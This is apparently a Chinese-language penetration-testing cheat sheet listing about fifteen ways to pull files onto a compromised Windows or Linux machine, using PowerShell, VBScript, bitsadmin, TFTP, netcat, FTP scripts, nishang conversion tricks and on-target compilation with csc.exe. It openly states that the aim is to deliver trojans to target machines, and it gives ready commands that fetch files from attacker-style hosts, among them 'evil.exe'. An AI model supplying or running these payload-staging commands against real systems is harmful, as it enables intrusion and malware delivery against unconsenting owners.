0x01 PowerShell 文件下載
$p = new-object system.net.webclient
$p.downloadfile("http://xx.xx.xx.xx\file","c:\xxx\xx\file")
當然也可以直接將上面語句寫入到一個腳本中,比如test.ps1
然后powershell window中
.test.ps1
執行。
當然,默認情況下是無法執行powershell腳本的,需要在管理員權限下修改配置
powershell set-executionpolicy unrestricted
0x02 Visual Basic 文件下載
Set args = Wscript.Arguments
Url = "http://192.168.43.68:8000/1.py"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\users\pino\file\1.py", 2 '
end with
將上述代碼保存在test.vbs
然后使用
cscript test.vbs
執行文件下載
0x03 Perl 文件下載
perl -MLWP::Simple -e 'getstore ("http://www.163.com/","163.html")'
0x04 Python 文件下載
python -c "import urllib2;u=urllib2.urlopen("http://xx.xxx.xx/1.py");localfile=open('c:\users\pino\file\1.py','w');localfile.write(u.read());localfile.close();"
0x05 Ruby 文件下載
#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.domain.com") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}
0x06 PHP 文件下載
<?
$data = @file("http://xx.xx.xx/1.py");
$f = fopen("c:\users\pino\1.py", "w");
fwrite($f, $data[0]);
fclose($f);
?>
0x07 FTP文件下載
我們可以將想要執行的命令先寫入一個txt中,然后用ftp命令就好了
1.txt
open 127.0.0.1
user_name
user_pass
get file(文件名)
quit
然后在命令行中執行
ftp -i -s:1.txt
0x08 TFTP 文件下載
windows7 下默認是沒有tftp的,可以WIN+R,然后輸入appwiz.cpl,點擊左側的打開或關閉windows功能后,選中TFTP客戶端即可啟用TFTP客戶端。
tftp -i host(本地的,這里可以是127.0.0.1) GET c:\users\pino\1.py(用于保存在本地的文件名) xxx.xx.xxx.xxx\1.py(遠程tftp服務器上的文件)
0x09 bitsadmin 文件下載
bitsadmin是windows下的一個命令行工具
bitsadmin /transfer name(這個隨便寫,是任務名稱) http://192.168.43.68:8000/1.py c:\users\pino\1.py
0xA Wget 文件下載
wget http://192.168.43.68:8000/1.py
0xB netcat 文件下載
攻擊者在linux下輸入命令
cat file|nc -l 1234
這樣把文件file的內容重定向到了攻擊者的1234端口,無論誰訪問攻擊者的ip的這個端口,都能下載到文件了
nc host_ip 1234 > file
0xC Windows 共享 文件下載
net use x: \\192.156.1.17\temp$ "password" /user:username
$符號這里是在本地隱藏,寫不寫都行
0x0D Notepad 文件下載
這個姿勢很神奇。
首先打開notepad,就是我們常說的記事本,點擊文件-》打開,在文件名稱內輸入完整的URL,回合,就會發現記事本中的內容就是我們訪問的URL的文本內容。
0x0E 使用powershell nishang 進行文件下載
nishang 是一個很不錯的powershell滲透框架,在github上能夠找到,里面有很多實用的滲透腳本,這里我們可以用ExeToText腳本,將想要下載的exe文件轉換成txt,在用記事本打開,然后復制其中的內容,通過rdp剪貼板復制到目標機器上的txt文本,再通過TextToExe腳本轉換為exe就好了。
0x0F 實用csc工具實現類文件下載
通常在滲透的過程中我們下載是為了將我們的木馬傳到目標機器上,因此我們可以另轉思路,將木馬的源碼寫好,直接在目標及其上編譯就好了。在Windows下,c的編譯器默認是在C:\Windows\Microsoft.NET\framework\version,version的話,不同位數的機器不一樣,看情況而定,里面的csc.exe就是了。使用下面的命令
csc.exe /out:c:\users\pino\evil.exe c:\users\pino\evil.c